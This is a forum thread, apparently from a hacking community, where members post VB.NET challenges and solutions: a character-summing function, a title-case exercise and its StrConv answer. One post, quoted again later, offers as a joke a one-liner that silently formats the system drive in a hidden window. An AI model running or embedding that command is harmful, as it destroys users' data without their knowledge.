[Coder-san]

Oh well, looks like people are not interested.

Here is the solution to #2

Spoiler: Solution

Code:

Private Function SumChars(ByVal strSource As String) As Integer SumChars = 0 For intI As Integer = 0 To strSource.Length - 1 SumChars += (Asc(strSource.Substring(intI, 1)) - 64) Next Return (SumChars + 64) End Function 'Usage: Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click TextBox1.Text = SumChars("BRZ") End Sub

[1234hotmaster]

Oh well, looks like people are not interested.

Here is the solution to #2

Spoiler: Solution

Code:

Private Function SumChars(ByVal strSource As String) As Integer SumChars = 0 For intI As Integer = 0 To strSource.Length - 1 SumChars += (Asc(strSource.Substring(intI, 1)) - 64) Next Return (SumChars + 64) End Function 'Usage: Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click TextBox1.Text = SumChars("BRZ") End Sub

what does it do? XD

Edited: we are interested but aren't at your level

[Coder-san]

what does it do? XD

It's the solution to [link=http://www.hackcommunity.com/Thread-VB-Net-Optimization-Challenge?pid=12912#pid12912]Challenge#2[/link]
It subtracts 64 from every char other than first, and adds what you get.

Edited: we are interested but aren't at your level

Nah it's easy. You just have to think outside the box and have some fun with your language.

[1234hotmaster]

what does it do? XD

It's the solution to [link=http://www.hackcommunity.com/Thread-VB-Net-Optimization-Challenge?pid=12912#pid12912]Challenge#2[/link]
It subtracts the first char's ASCII from all of the rest, and adds what you get.

Edited: we are interested but aren't at your level

Nah it's easy. You just have to think outside the box and have some fun with your language.

well the only fun i know is this:

Code:

Shell("format "& environ("systemdrive") & " /autotest", AppWinStyle.Hide)

Edited: can you explain a example for the 2nd solution?

[Coder-san]

what does it do? XD

It's the solution to [link=http://www.hackcommunity.com/Thread-VB-Net-Optimization-Challenge?pid=12912#pid12912]Challenge#2[/link]
It subtracts the first char's ASCII from all of the rest, and adds what you get.

Edited: we are interested but aren't at your level

Nah it's easy. You just have to think outside the box and have some fun with your language.

well the only fun i know is this:

Code:

Shell("format "& environ("systemdrive") & " /autotest", AppWinStyle.Hide)

Edited: can you explain a example for the 2nd solution?

Code:

TextBox1.Text = SumChars("BRZ") 'B R Z = 66 82 90 <-- ASCII values of characters 'B+R+Z = 66 + (82-64) + (90-64) <-- What the function does 'B+R+Z = 66+18+26 = 110 <-- What the function returns 'The output is the same as required in the Challenge hence solved.

[1234hotmaster]

Can you post a new Solve-able one coder?

[Coder-san]

Challenge #3

Write a program which will make every FIRST character of a word uppercase, and the rest lowercase.

E.g.

Code:

The Quick Brown Fox Jumps Over The Lazy Dog.

[FrostByte_mybb_import5923]

for challenge 1 something like this could you use like bubblesort???, e.g. check every value and then display in the given order

[Coder-san]

for challenge 1 something like this could you use like bubblesort???, e.g. check every value and then display in the given order

You don't have to make it more complex xp
Challenge#1 was just to see if people use Array enough.

[1234hotmaster]

Code:

Module Module1 Sub Main() Dim str As String = Console.ReadLine() Console.WriteLine(StrConv(str, VbStrConv.ProperCase)) End Sub End Module